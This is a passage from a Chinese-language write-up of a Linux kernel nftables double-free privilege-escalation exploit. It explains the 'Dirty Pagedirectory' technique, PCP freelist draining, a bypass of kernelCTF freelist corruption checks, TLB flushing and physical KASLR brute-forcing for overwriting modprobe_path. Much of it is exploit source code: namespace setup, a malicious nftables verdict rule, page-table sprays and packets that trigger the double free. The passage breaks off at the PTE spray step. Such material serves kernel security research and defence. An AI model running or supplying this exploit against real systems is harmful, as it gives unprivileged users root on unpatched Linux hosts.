	if (put_page_testzero(page)) 	// [1] 通常在第一次释放page时,其refcount为1;如果第二次释放该page时refcount递减后小于0,则不会释放该页(put_page_testzero()返回false),甚至在配置了CONFIG_DEBUG_VM的内核中会触发`BUG()`
		free_the_page(page, order);
	else if (!head)
		while (order-- > 0) 		// [2] 子页将被释放,直到`order-- == 0`
			free_the_page(page + (1 << order), order);
}

[2] 处,由于第1个页释放后,order被置为0,因此在第2次释放时不会释放任何页,因为order-- == -1

解决办法:在第一次释放page后,再次分配一个page(相同大小的对象即可,例如slab或者页表),这样就能二次释放该页。代码如下:

static void kref_juggling(void)
{
    struct page *skb1, *pmd, *pud;

    skb1 = alloc_page(GFP_KERNEL);  // refcount 0 -> 1
    __free_page(skb1);  // refcount 1 -> 0
    pmd = alloc_page(GFP_KERNEL);  // refcount 0 -> 1
    __free_page(skb1);  // refcount 1 -> 0
    pud = alloc_page(GFP_KERNEL);  // refcount 0 -> 1

    pr_err("[*] skb1: %px (phys: %016llx), pmd: %px (phys: %016llx), pud: %px (phys: %016llx)\n", skb1, page_to_phys(skb1), pmd, page_to_phys(pmd), pud, page_to_phys(pud));
}

4-2. 页freelist条目order-4 到order-0

skb分配路径:当调用__do_kmalloc_node()(例如skb的分配)分配内存时,会把分配大小和KMALLOC_MAX_CACHE_SIZE进行比较,若大于该值则采用页分配器而非SLAB分配器。如果想释放skb并分配PTE占据同一内存,这非常有用。但是KMALLOC_MAX_CACHE_SIZE = PAGE_SIZE * 2,这意味着分配order-1以上(2-page,8096)的内存时,kmalloc才会采用页分配器。skb大小可变,范围是kmalloc-2564-order 页(65536字节)之间

PTE分配路径:PTE是调用alloc_page()页分配器(而非kmalloc(4096))来分配的,可节省开销,1个PTE是order-0页(1 page,4096字节)。

问题:如果对位于SLAB分配器中的4096对象进行二次释放,其只会出现在SLAB cache中,而非page cache中。为了使skb漏洞对象和PTE重叠,需分配order-4的skb对象,然后将order-4的页切分为order-0的页。为了对 order-0 freelist中的页进行二次释放,需要将order-4(16 page)freelist条目的二次释放转换为order-0(1 page)条目。有两种方法来用order-4 page freelist条目去分配order-0 page。

(1)PCP list耗尽

由于PCP分配器就是伙伴系统的一个 per-CPU freelist,如果耗尽了就会用来自伙伴系统的页重新填充。页分配过程参见2-4

将页order置为0的内存操作时间线:

请添加图片描述

rmqueue_bulk()函数负责从伙伴系统的order页中获得count个页(count = N/order)来填充 PCP freelist。过程是遍历伙伴系统的freelist,如果freelist条目的order >= order,则返回该页进行填充;如果 > order,则先要切分页。

目标order-4的skb漏洞页释放后,加入到伙伴系统的freelist,需要将其转化为order-0的PCP页,分配给PTE对象

方法:通过堆喷PTE页来耗尽PCP freelist,也可以堆喷PMD对象。不同的系统上,PCP freelist中对象数目不同,作者选择堆喷16000个PTE对象,足以耗尽PCP freelist。

// rmqueue_bulk() —— 用于重新填充 PCP freelist
static int rmqueue_bulk(struct zone *zone, unsigned int order,
			unsigned long count, struct list_head *list,
			int migratetype, unsigned int alloc_flags)
{
	unsigned long flags;
	int i;

	spin_lock_irqsave(&zone->lock, flags);
	for (i = 0; i < count; ++i) {
		struct page *page = __rmqueue(zone, order, migratetype, alloc_flags);
		if (unlikely(page == NULL))
			break;

		list_add_tail(&page->pcp_list, list);
		// [snip] set stats
	}

    // [snip] set stats
	spin_unlock_irqrestore(&zone->lock, flags);

	return i;
}
(2)竞争条件(已过时)

>> 该技术已过时,但已用于 kernelctf 利用 <<

方法:第1次free()会将页添加到正确的freelist中,并将页order置为0。但是第2次释放时(Double-Free),会将该页添加到order-0的freelist中。利用这种方法,我们可以将order-4的页也添加到order-0的freelist中。

将页order置为0的内存操作时间线:

请添加图片描述

竞争条件:如果顺序是free; free; alloc; alloc,则第2次释放会失败,因为第1次释放后页的refcount变为0。如果顺序是free; alloc; free; alloc,则第2次释放时order不为0,因为alloc会将order设置为最初的值4,那就无法将释放页转换为order-0。也即要么refcount为-1,要么order为4,产生竞争条件。

竞争窗口:当页面释放时,其order是通过值传递的。这意味着,如果在第2次释放时分配该空闲页,将分配得到order-0的freelist,并且refcount也会增加(不为0)。该竞争窗口极小,包含几个函数调用。如果检测到double-free且order为0,free_large_kmalloc()会向dmesg打印WARN()。在硬件环境中竞争窗口只有1ms,在QEMU VM这种串行终端中会达到50ms-300ms,可以命中。

现在我们成功将order-4的页释放到order-0的freelist中了,这样就能用order-0的页来覆写该页了。我们也能释放第1次分配到的页(得到第1次释放的页)再分配新的对象来占据,因为页的order不会变。

4-3. 立即释放 skb(不用UDP/TCP栈)

目的:为了避免freelist损坏检查导致崩溃,我们希望能任意释放skb(不使用UDP/TCP栈)。在第1次释放后,skb会被损坏,这意味着我们无法再使用UDP/TCP栈,因为该操作会引用损坏的结构成员。

kernelCTF方法(已过时):可释放特定CPU上的某个skb来绕过Double-Free,因为sk_buff freelist是per-CPU的。这意味着,如果我们在2个CPU上两次释放一个对象,不会检测到Double-Free。

IP 数据包分段和分段队列:在IP数据包等待接收其所有分片时,会把分片放在IP分片队列(红黑树)中;当收到所有分片后,会在最后一个到来的分片所在的CPU上重组数据包。注意,IP分片队列存在一个超时ipfrag_time,超时后会释放所有skb。后面会介绍如何修改此超时。

新方法:如果想将freelist条目 skb1 从CPU 0 切换到CPU 1的freelist上,首先将skb1作为IP分片分配到CPU 0的IP分片队列上,然后将最后一个IP分片skb2发送到CPU 1上,这样 skb1 就会在CPU 1上被释放。本方法可以用于任意释放skb(不使用UDP/TCP栈),避免崩溃。切换skb的per-CPU freelist的时间线如下图:

请添加图片描述

问题:IP 片段队列的大小由skb->len确定,但是对象被释放后set_freepointer() 会将skb->len覆写成kmem_cache->random,导致分片队列的处理和预期不一致,无法正常完成分片处理,因为它会使用随机的length。

解决:不完成IP分片队列,使用无效输入来触发error。这会导致CPU的IP分片队列上所有skb立刻被释放,而不管skb->len值是多少。注意,需要在释放skb1和分配skb2之间附加额外的skb对象,否则会触发Double-Free检测(CONFIG_FREELIST_HARDENED)。图中没有显示这一步,但是PoC中有。

如何修改skb生命周期——ipfrag_time超时?

目标是控制skb的寿命。内核提供了用户接口来配置IP分片队列的超时时间——/proc/sys/net/ipv4/ipfrag_time。这是每个网络命名空间特定的,因此非特权用户也可以设置。在使用IP分片重组IP包时,内核会等待ipfrag_time秒,如果将ipfrag_time设置为999999秒,skb分片就会存活999999秒;如果想快速分配和释放skb,就可以将其设置为1秒。

// 修改`ipfrag_time` —— 控制IP分片重组时的等待时间
static void set_ipfrag_time(unsigned int seconds)
{
	int fd;
	
	fd = open("/proc/sys/net/ipv4/ipfrag_time", O_WRONLY);
	if (fd < 0) {
		perror("open$ipfrag_time");
		exit(1);
	}

	dprintf(fd, "%u\n", seconds);
	close(fd);
}

4-4. 绕过 KernelCTF skb 损坏检查

问题:KernelCTF会检查freelist是否损坏,特别是检查正在分配的对象中freelist的下一个ptr是否损坏。由于skbuff_head_cache->offset == 0x70,所以freelist next ptr和skb->len重叠了。这意味着next/previous freelist条目指针存储在sk_buff+0x70。内核开发者将s->offset设置在slab中间位置是为了避免OOB漏洞覆写freelist指针(避免轻松提权)。

在第1次释放skb后,skb->len会被next ptr覆写,而在第2次释放skb之前,解析数据包时会修改skb->len,破坏了freelist next ptr。

分配时freelist损坏检测:这时,如果想调用slab_alloc_node()分配第1次释放的skb的freelist条目,freelist_ptr_decode()函数会将该空闲对象的freelist next ptr标记为损坏,导致分配出错。KernelCTF中的freelist_pointer_corrupted()函数如下所示:

static inline bool freelist_pointer_corrupted(struct slab *slab, freeptr_t ptr,
	void *decoded)
{
#ifdef CONFIG_SLAB_VIRTUAL
	/*
	 * If the freepointer decodes to 0, use 0 as the slab_base so that
	 * the check below always passes (0 & slab->align_mask == 0).
	 */
	unsigned long slab_base = decoded ? (unsigned long)slab_to_virt(slab) : 0;

	/*
	 * This verifies that the SLUB freepointer does not point outside the
	 * slab. Since at that point we can basically do it for free, it also
	 * checks that the pointer alignment looks vaguely sane.
	 * However, we probably don't want the cost of a proper division here,
	 * so instead we just do a cheap check whether the bottom bits that are
	 * clear in the size are also clear in the pointer.
	 * So for kmalloc-32, it does a perfect alignment check, but for
	 * kmalloc-192, it just checks that the pointer is a multiple of 32.
	 * This should probably be reconsidered - is this a good tradeoff, or
	 * should that part be thrown out, or do we want a proper accurate
	 * alignment check (and can we make it work with acceptable performance
	 * cost compared to the security improvement - probably not)?
	 */
	return CHECK_DATA_CORRUPTION(
		((unsigned long)decoded & slab->align_mask) != slab_base,
		"bad freeptr (encoded %lx, ptr %p, base %lx, mask %lx",
		ptr.v, decoded, slab_base, slab->align_mask);
#else
	return false;
#endif
}

解决分配问题:作者发现,该检查不会追溯。当释放具有损坏freelist条目的对象之上的对象时,该机制不会检查前一个对象的next ptr是否损坏。所以可通过释放其后的另一个skb(大小不同)来屏蔽上一个错误的next ptr,再次分配该skb(跟旧的skb数据一样)。这样就掩盖了原始的损坏的skb,同时仍能够两次分配该skb。

绕过kernelCTF中freelist损坏检测的原理如下图所示:

请添加图片描述

修复建议:KernelCTF 开发人员可以在释放时也检查freelist head next ptr是否损坏(不仅仅是在分配时)。

4-5. 脏页目录

4-5-1. 思路

问题:作者受到脏页表的启发,但是本文面对的漏洞是**skb的Double-Free,无法稳定多次篡改PTE(脏页表一文中可以利用位于kmalloc-128的signalfd_ctx对象来稳定篡改PTE)**。作者找不到一个页大小的堆喷对象,能够布置用户数据且和PTE页位于同一freelist。为了稳定性和通用性,作者也不能采用Cross-cache Attack。

利用思路1:考虑到可以在PTE相同的freelist中构造Double-Free,如果可以跨进程二次分配PTE,例如sudo和EXP之间,就能在两个不相干的进程间构造内存共享(将EXP的虚拟地址指向sudo的物理地址)。这样就能读写root进程的应用数据,来获得root shell。由于进程启动时会分配各种内存,这要求能精确管理freelist上的位置,所以很难实现本方法。

那如果能使PTE页和PMD页重叠会怎样?这样PMD会将PTE页解引用为PMD页,并将PTE的用户态页解析为PTE页。

有效性:事实证明,PMD+PTE 方法有效。PUD+PMD方法也是有效的,PGD+PUD可能有效。唯一的区别是模拟镜像的页数量:PTE+PMD需要1G的页,PUD+PMD需要512G的页,PGD+PUD需要256T的页。注意,这可能影响内存的使用,系统可能会因镜像内存过多而出现OOM(内存耗尽)。

方法选择:在 PMD+PTE 和 PUD+PMD 方法之间进行选择时,需要考虑 Dirty Pagedirectory 的集成。总的来说,PMD+PTE是最佳选择。

4-5-2. 技术介绍

脏页目录技术能够对物理内存进行无限制、稳定的读写。还能通过设置权限flag来绕过权限检查,这样就能写入只读页面,例如覆写modprobe_path。本节以 PUD+PMD方法来阐释原理,POC中采用的是PMD+PTE策略。

总体思路:利用Double-Free等漏洞将PUD和PMD分配到同一地址。VMA应该是独立的,以避免冲突(即不要在 PUD 区域内分配 PMD)。然后,向PMD页写入地址,并读取PUD相应页的地址。脏页目录技术的层次结构如下图所示,包括所需的内存操作:

请添加图片描述

构造重叠PUD/PMD:假设modprobe_path变量存储在PFN/物理地址0xCAFE1460的页中。采用脏页目录技术:通过mmap两次分配PUD页和PMD页,其中对应的用户态VMA范围是0x8000000000 - 0x10000000000( mm->pgd[1]-PUD) 和0x40000000 - 0x80000000( mm->pgd[0][1]-PMD)。

这表示mm->pgd[1][x][y]总是等于mm->pgd[0][1][x][y],因为当我们两次分配它时,mm->pgd[1]mm->pgd[0][1]都指向地址/对象。mm->pgd[0][1][x][y]表示一个用户态页,mm->pgd[1][x][y]表示的是PTE。这意味着PUD会把PMD的用户页解释成PTE页(可通过写用户态页来伪造PTE物理地址,这样就能通过PUD实现任意物理地址了)。

伪造PTE值构造任意读:例如,为了读取物理页地址0xCAFE1460,我们通过0x80000000CAFE1867(加上了PTE flag)写入0x40000000(也即物理页@mm->pgd[0][1][0][0]+0x0对应的用户态地址,也就是PUD区域第1个PTE条目)。由于有重叠,这意味着我们将该值写到了页面为@mm->pgd[1][0][0]+0x0的PTE地址,因为mm->pgd[1][0][0] == mm->pgd[0][1][0][0]。现在,我们可以通过读取页mm->pgd[1][0][0][0](最后一个索引0,因为我们将其写入到了PTE前8个字节,以上的0x0)来从伪造的PTE物理地址读取(直接从用户页 0x8000000000读取即可)。

刷新TLB再读写:由于是从用户空间修改的PTE,所以需要刷新TLB,因为TLB包含过时的地址记录。TLB刷新之后,printf('%s', 0x8000000460);就能打印/sbin/modprobemodprobe_path。然后通过strcpy((char*)0x8000000460, "/tmp/privesc.sh"); 来覆写modprobe_path(注意有KMOD_PATH_LEN字节的填充)并获得shell。这里不需要刷新TLB,因为写入时没有修改TLB。

注意这个过程,如何在PTE值0x80000000CAFE1867中设置R/W flag。虚拟地址0x8000000460中的0x8和PTE值0x80000000CAFE1867中的0x8不相关:PTE值中表示打开的flag,而虚拟地址只是恰好以0x8开头。

总结以上过程:将PTE值写入VMA范围0x40000000 - 0x80000000内的用户态页,并通过读写VMA范围0x8000000000 - 0x10000000000中相应的用户态页,来解引用该PTE值,进行任意物理地址读写。

4-5-3. 缓解机制

该利用技术能绕过当前内核中的缓解机制,包括KASLR/KPTI/SMAP/SMEP/CONFIG_STATIC_USERMODEHELPER

**为什么能绕过SMAP?**因为SMAP只适用于虚拟地址,不适用于物理内存地址。PTE在PMD中是通过其物理地址进行引用的,这意味着当PMD中的PTE条目是用户态页时,SMAP无法检测到,因为其不是虚拟地址。因此,PUD区域可以使用用户态页作为PTE。

防护设置表条目类型,防止混用。例如,为 PTE 设置类型 0,为 PMD 设置类型 1,为 PUD 设置类型 2,为 P4D 设置类型 3,为 PGD 设置类型 4。这样每个表条目需要2log(levels)位来存储类型标志位(如果开启P4D五级页表则需要3bit来存类型值,因为level=5),增大了存储空间,且引入了检查开销,访问每一级都需要检查内存。但是,本机制仍允许内存共享(也即,使sudo和EXP的PTE页面重叠,sudo以root权限运行)。

4-6. 堆喷页表

注意,本节以PUD+PMD为例来讲脏页目录的原理,但EXP中采用的是PMD+PTE方法,因为EXP是通过耗尽PCP list将PTE分配在二次释放的地址。

堆喷方法:首先,页表是由内核按需分配的,如果我们只是通过mmap映射了虚拟内存区域,不会发生分配。只有对该VMA进行读写时,才会为访问的页分配页表。注意,当分配PUD时,会分配PMD、PTE和用户空间页;当分配PTE时,会分配用户空间页。Dirty Pagetable原文提到,可通过先分配其父级页表来分配特定级的页表,因为父页表(PMD)包含512个子页表(PTE)。例如,如果想喷射4096个PTE,则需要预先分配4096/512 = 8个PMD。

**为什么选PMD+PTE?**如果我们喷射PMD,会同时分配PTE(从同一freelist),这样50%是PMD,50%是PTE。如果我们喷射PUD,则会是 33% PUD、33% PMD 和 33% PTE。因此,如果我们喷射PTE,则100%是PTE。因此我们选取PMD+PTE,而不是 PUD+PMD,喷射PMD会使稳定性降低50%。注意,用户态页是从不同的freelist分配来的(migratetype 0,而不是 migratetype 1)。

4-7. TLB刷新

TLB刷新:目的是删除或使TLB中所有条目(虚拟地址到物理地址的缓存)无效。TLB刷新技术需满足以下要求:

  • 不修改现有进程页表
  • 必须100%有效
  • 速度快
  • 可以从用户态触发
  • 不受PCID影响

方法:在分配PMD和PTE时,需将其标记为shared,然后fork()进程,子进程调用munmap()进行刷新,接着进入睡眠(避免EXP不稳定导致崩溃)。代码如下(用于刷新特定虚拟内存范围的 TLB):

static void flush_tlb(void *addr, size_t len)
{
	short *status;

	status = mmap(NULL, sizeof(short), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
	
	*status = FLUSH_STAT_INPROGRESS;
	if (fork() == 0)
	{
		munmap(addr, len); 							// mmap时标记为shared,在子进程中调用munmap()取消映射,会将父进程中的TLB一起刷新
		*status = FLUSH_STAT_DONE;
		PRINTF_VERBOSE("[*] flush tlb thread gonna sleep\n");
		sleep(9999);
	}

	SPINLOCK(*status == FLUSH_STAT_INPROGRESS); 	// 锁机制防止parent在child刷新TLB之前继续执行。如果子进程直接exit(而非sleep),则不需要加锁,因为parent可以监视子进程状态。

	munmap(status, sizeof(short));
}

这种方法在刷新页表和页目录方面的成功率达到100%。它已在最新的 AMD CPU 和 QEMU VM 上进行了测试。这种刷新方法不依赖硬件,因为在此用例中必须从内核触发刷新。

4-8. 绕过物理 KASLR

机制:Physical KASLR是对物理地址进行随机化。通常,之前的漏洞利用都使用的是虚拟内存(所以只需绕过虚拟KASLR)。但由于本文方法采用的是脏页目录,需要对内存的物理地址进行读写,所以需绕过物理KASLR。

(1)获取物理基址

物理内存:通常,需要暴破整个物理内存范围才能找到目标物理地址。物理内存是指所有可用的物理内存地址,例如,笔记本上16G RAM + 1G内置MMIO=17G物理内存。

物理基址对齐:如果设置了CONFIG_RELOCATABLE=y,Linux内核的物理基址必须和CONFIG_PHYSICAL_START0x100'0000,也即 16MiB)字节对齐。如果CONFIG_RELOCATABLE=n,则物理基址就是CONFIG_PHYSICAL_START。我们假设设置了CONFIG_RELOCATABLE=y,需要暴破物理基址。

注意,如果设置了CONFIG_PHYSICAL_ALIGN,物理基址就会和CONFIG_PHYSICAL_ALIGN对齐(而非CONFIG_PHYSICAL_START)。CONFIG_PHYSICAL_ALIGN值通常较小,例如0x20'0000 2MiB,这意味着需要暴破更多地址(8倍)。

本测试环境v6.3.13中,CONFIG_RELOCATABLE=y / CONFIG_PHYSICAL_START == CONFIG_PHYSICAL_ALIGN == 0x1000000

暴破物理基址:假设目标设备有8G物理内存,这样可将搜索量减少到8GiB / 16MiB = 512,只需检查512个地址的第一个页的前几字节(指纹),就知道是否为内核基址。脏页目录允许我们对整个页面进行无限读写,因此能读取每个物理页的4096字节,并且能覆写每个PTE的512个页地址。如果我们的机器有8G内存,只需一次覆写PTE(伪造512个物理地址)就能找到物理基址。

为了正确识别这512个物理地址中哪一个含有内核基址,作者编写了get-sig Python脚本来生成大量的memcmp条件语句,寻找不同内核的共有字节。

(2)获取target物理地址

搜索方法:当我们找到物理基址后,可以使用基于物理内核基址的硬编码偏移,来找到我们需要读写的target地址;也可以根据target的数据模式来扫描 ~80MiB 物理内存。如果系统内存为8G,数据扫描技术需要覆写1 + 80MiB/2MiB ~= 40的PTE。如果我们可以访问脏页目录,并且target数据的格式是唯一的(例如modprobe_path),则数据模式扫描方法更好,跨内核版本的兼容性更好。

注意,~80MiB是估计值,实际可能更少,因为target可能位于固定偏移的内存中。例如,内核代码可能位于基址的+0x0偏移处,内核数据可能总是位于+0x1000000,如果要搜索modprobe_path,可以直接从+0x1000000开始,不过这一点没有经过测试。

5. 漏洞利用

5-1. 执行

总体利用流程如下图所示:

请添加图片描述

5-1-1. 环境设置
(1)命名空间

Debian和Ubuntu默认开启了用户命名空间。检查用户命名空间是否开启的命令如下,为1则表示已启用:

$ sysctl kernel.unprivileged_userns_clone
kernel.unprivileged_userns_clone = 1

创建用户和network命名空间的代码如下:

static void do_unshare()
{
    int retv;

    printf("[*] creating user namespace (CLONE_NEWUSER)...\n");
    
	// do unshare seperately to make debugging easier
    retv = unshare(CLONE_NEWUSER);
	if (retv == -1) {
        perror("unshare(CLONE_NEWUSER)");
        exit(EXIT_FAILURE);
    }

    printf("[*] creating network namespace (CLONE_NEWNET)...\n");

    retv = unshare(CLONE_NEWNET);
    if (retv == -1)
	{
		perror("unshare(CLONE_NEWNET)");
		exit(EXIT_FAILURE);
	}
}

之后,通过设置UID/GID映射来给我们的命名空间赋予root访问权限,代码如下:

static void configure_uid_map(uid_t old_uid, gid_t old_gid)
{
    char uid_map[128];
    char gid_map[128];

    printf("[*] setting up UID namespace...\n");
    
    sprintf(uid_map, "0 %d 1\n", old_uid); 
    sprintf(gid_map, "0 %d 1\n", old_gid);

    // write the uid/gid mappings. setgroups = "deny" to prevent permission error 
    PRINTF_VERBOSE("[*] mapping uid %d to namespace uid 0...\n", old_uid);
    write_file("/proc/self/uid_map", uid_map, strlen(uid_map), 0);

    PRINTF_VERBOSE("[*] denying namespace rights to set user groups...\n");
    write_file("/proc/self/setgroups", "deny", strlen("deny"), 0);

    PRINTF_VERBOSE("[*] mapping gid %d to namespace gid 0...\n", old_gid);
	write_file("/proc/self/gid_map", gid_map, strlen(gid_map), 0);

#if CONFIG_VERBOSE_
    // perform sanity check
    // debug-only since it may be confusing for users
	system("id");
#endif
}
(2)Nftables

为了触发漏洞,我们需使用恶意的verdict值来设置 hook/rule。代码如下:

// add_set_verdict() —— 添加immediate指令,设置恶意的verdict值
static void add_set_verdict(struct nftnl_rule *r, uint32_t val)
{
	struct nftnl_expr *e;

	e = nftnl_expr_alloc("immediate");
	if (e == NULL) {
		perror("expr immediate");
		exit(EXIT_FAILURE);
	}

	nftnl_expr_set_u32(e, NFTNL_EXPR_IMM_DREG, NFT_REG_VERDICT);
	nftnl_expr_set_u32(e, NFTNL_EXPR_IMM_VERDICT, val);

	nftnl_rule_add_expr(r, e);
}
(3)预分配

漏洞利用之前,需预分配一些对象防止分配噪声,避免利用失败。注意,CONFIG_SEC_BEFORE_STORM会等待后台所有的分配完成,以防跨CPU发生分配。这样会减慢漏洞利用速度(1s -> 11s),但是在存在大量噪声的系统上能提高漏洞利用的稳定性。有趣的是,在没有任何工作负载的系统(例如kernelCTF image)上,没有sleep的情况下,成功率提升了(93% -> 99,4%,n=1000)。预分配代码如下:

static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
	unsigned long long *pte_area;
	void *_pmd_area;
	void *pmd_kernel_area;
	void *pmd_data_area;
	struct ip df_ip_header = {
		.ip_v = 4,
		.ip_hl = 5,
		.ip_tos = 0,
		.ip_len = 0xDEAD,
		.ip_id = 0xDEAD, 
		.ip_off = 0xDEAD,
		.ip_ttl = 128,
		.ip_p = 70, 			// 协议号为70,才能触发 nftables rule
		.ip_src.s_addr = inet_addr("1.1.1.1"),
		.ip_dst.s_addr = inet_addr("255.255.255.255"),
	};
	char modprobe_path[KMOD_PATH_LEN] = { '\x00' };
// 0. initialize
	get_modprobe_path(modprobe_path, KMOD_PATH_LEN); // 读取 modprobe_path 的默认路径

	printf("[+] running normal privesc\n");

    PRINTF_VERBOSE("[*] doing first useless allocs to setup caching and stuff...\n");

	pin_cpu(0);

// 0-1. 预分配一个PUD,便于之后分配重叠的PMD
	mmap((void*)PTI_TO_VIRT(1, 0, 0, 0, 0), 0x2000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS, -1, 0);
	*(unsigned long long*)PTI_TO_VIRT(1, 0, 0, 0, 0) = 0xDEADBEEF;

// 0-2. 提前注册16000个待堆喷的 PTE 页,每个PTE页含2个PTE条目(没有写入,暂且不会分配实际的PTE页,同时会预注册16000/512个PMD页)
	// 注意,有大小限制,因为注册VMA很耗内存
	for (unsigned long long i=0; i < CONFIG_PTE_SPRAY_AMOUNT; i++)
	{
		void *retv = mmap((void*)PTI_TO_VIRT(2, 0, i, 0, 0), 0x2000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS, -1, 0);

		if (retv == MAP_FAILED)
		{
			perror("mmap");
			exit(EXIT_FAILURE);
		}
	}

// 0-3. 预分配 16000/512 个 PMD页,便于之后实际分配 16000 个PTE页
	// PTE_SPRAY_AMOUNT / 512 = PMD_SPRAY_AMOUNT: PMD contains 512 PTE children
	for (unsigned long long i=0; i < CONFIG_PTE_SPRAY_AMOUNT / 512; i++)
		*(char*)PTI_TO_VIRT(2, i, 0, 0, 0) = 0x41;
	
// 0-4. 预注册2个PMD条目(位于同一PMD页,对应不同的PTE页),对应2个PTE条目  2*512*4096 = 0x400000
	_pmd_area = mmap((void*)PTI_TO_VIRT(1, 1, 0, 0, 0), 0x400000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS, -1, 0);
	pmd_kernel_area = _pmd_area;
	pmd_data_area = _pmd_area + 0x200000;

	PRINTF_VERBOSE("[*] allocated VMAs for process:\n  - pte_area: ?\n  - _pmd_area: %p\n  - modprobe_path: '%s' @ %p\n", _pmd_area, modprobe_path, modprobe_path);
// 0-5. 创建5个socket: ip/udp client/udp server/tcp client/tcp server
	populate_sockets();

	set_ipfrag_time(1);

	// cause socket/networking-related objects to be allocated
	df_ip_header.ip_id = 0x1336;
	df_ip_header.ip_len = sizeof(struct ip)*2 + 32768 + 8 + 4000;
	df_ip_header.ip_off = ntohs((8 >> 3) | 0x2000);
	alloc_intermed_buf_hdr(32768 + 8, &df_ip_header);

	set_ipfrag_time(9999);

	printf("[*] waiting for the calm before the storm...\n");
	sleep(CONFIG_SEC_BEFORE_STORM);

    // ... (rest of the exploit)
}
5-1-2. Double-Free

触发Double-Free需要用到IPv4网络代码和页分配器。触发Double-Free后,下一节才能使用脏页目录对任意物理内存页进行任意、无限读写。

(1)分配skb(干净的skb避免崩溃,udp包)

目的:在构造Double-Free之前分配一个干净的skb(在两次free之间释放本skb,以避免检测)。

方法发送UDP包,EXP将UDP包发送到其自身的UDP listener socket,在UDP listener调用recv()接收包之前,skb会保留在内存中。

// 发送UDP包
void send_ipv4_udp(const char* buf, size_t buflen)
{
    struct sockaddr_in dst_addr = {
		.sin_family = AF_INET,
        .sin_port = htons(45173),
		.sin_addr.s_addr = inet_addr("127.0.0.1")
	};

	sendto_noconn(&dst_addr, buf, buflen, sendto_ipv4_udp_client_sockfd);
}

static void alloc_ipv4_udp(size_t content_size)
{
	PRINTF_VERBOSE("[*] sending udp packet...\n");
	memset(intermed_buf, '\x00', content_size);
	send_ipv4_udp(intermed_buf, content_size);
}
// privesc_flh_bypass_no_time() —— 分配N个UDP数据包来喷射sk_buff对象,供之后释放使用
static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
    // ... (setup code)

// 1. 触发Double-Free,构造重叠的PMD页和PTE页
// 1-1. 分配170个干净skb(udp包),在Double-Free之间释放本skb,避免检测导致崩溃
	for (int i=0; i < CONFIG_SKB_SPRAY_AMOUNT; i++)
	{
		PRINTF_VERBOSE("[*] reserving udp packets... (%d/%d)\n", i, CONFIG_SKB_SPRAY_AMOUNT);
		alloc_ipv4_udp(1);
	}

    // ... (rest of the exploit)
}
(2)Double-Free-第1次释放

方法发送IP数据包,触发之前设置的nftables rule。可以采用任意协议但不能包含TCP/UDP,因为TCP/UDP会被传到对应的TCP/UDP handler代码,由于数据损坏导致内核崩溃。

skb构造:注意,IP头中的IP_MF标志(0x2000),表示skb进入IP分片队列,稍后可通过发送第2个IP分片来释放skb。skb的大小决定了Double-Free对象的大小,如果分配的数据包内容为0字节,则skb对象位于 kmalloc-256,如果分配超过32768(0x8000)字节内容,就会从order-4(16个页)的伙伴系统来分配。以下代码负责组合IP数据包、计算校验和并发送数据包:

static char intermed_buf[1 << 19]; // simply pre-allocate intermediate buffers

static int sendto_ipv4_ip_sockfd;

void send_ipv4_ip_hdr(const char* buf, size_t buflen, struct ip *ip_header)
{
	size_t ip_buflen = sizeof(struct ip) + buflen;
    struct sockaddr_in dst_addr = {
		.sin_family = AF_INET,
		.sin_addr.s_addr =  inet_addr("127.0.0.2")  // 127.0.0.1 will not be ipfrag_time'd. this can't be set to 1.1.1.1 since C runtime will prob catch it
	};

    memcpy(intermed_buf, ip_header, sizeof(*ip_header));
	memcpy(&intermed_buf[sizeof(*ip_header)], buf, buflen);

	// checksum needds to be 0 before
	((struct ip*)intermed_buf)->ip_sum = 0;
	((struct ip*)intermed_buf)->ip_sum = ip_finish_sum(ip_checksum(intermed_buf, ip_buflen, 0));

	PRINTF_VERBOSE("[*] sending IP packet (%ld bytes)...\n", ip_buflen);

	sendto_noconn(&dst_addr, intermed_buf, ip_buflen, sendto_ipv4_ip_sockfd);
}

发送原始IP数据包,并触发之前设置的 nf_tables rule(满足两个条件就会触发,包内容为\x41 且 协议号protocol字段为70):

static char intermed_buf[1 << 19];

static void send_ipv4_ip_hdr_chr(size_t dfsize, struct ip *ip_header, char chr)
{
	memset(intermed_buf, chr, dfsize);
	send_ipv4_ip_hdr(intermed_buf, dfsize, ip_header);
}

static void trigger_double_free_hdr(size_t dfsize, struct ip *ip_header)
{
	printf("[*] sending double free buffer packet...\n");
	send_ipv4_ip_hdr_chr(dfsize, ip_header, '\x41');
}

static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
    // ... (skb spray)

// 1-2. 1st Double-Free skb (SOCK_RAW ip包,避免二次释放时崩溃),触发nftables rule释放skb
	df_ip_header.ip_id = 0x1337;
	df_ip_header.ip_len = sizeof(struct ip)*2 + 32768 + 24;
	df_ip_header.ip_off = ntohs((0 >> 3) | 0x2000);  // IP_MF=0x2000 分片第1个包 wait for other fragments. 8 >> 3 to make it wait or so?
	trigger_double_free_hdr(32768 + 8, &df_ip_header);

    // ... (rest of the exploit)
}
(3)绕过double-free检查

目的:通过释放之前分配的UDP数据包(sk_buff对象),来避免Double-Free的检测并提高exploit的稳定性。

// recv_ipv4_udp() —— 接收UDP数据包
static char intermed_buf[1 << 19]; // simply pre-allocate intermediate buffers

static int sendto_ipv4_udp_server_sockfd;

void recv_ipv4_udp(int content_len)
{
    PRINTF_VERBOSE("[*] doing udp recv...\n");
    recv(sendto_ipv4_udp_server_sockfd, intermed_buf, content_len, 0);

	PRINTF_VERBOSE("[*] udp packet preview: %02hhx\n", intermed_buf[0]);
}
// privesc_flh_bypass_no_time() —— 释放之前堆喷的所有sk_buff对象(udp包)
static void privesc_flh_bypass_no_time(int shell_stdin_fd, int shell_stdout_fd)
{
    // ... (trigger doublefree)

// 1-3. 释放170个skb到freelist,避免Double-Free检测导致崩溃
	for (int i=0; i < CONFIG_SKB_SPRAY_AMOUNT; i++)
	{
		PRINTF_VERBOSE("[*] freeing reserved udp packets to mask corrupted packet... (%d/%d)\n", i, CONFIG_SKB_SPRAY_AMOUNT);
		recv_ipv4_udp(1);
	}

    // ... (rest of the exploit)
}
(4)堆喷PTE

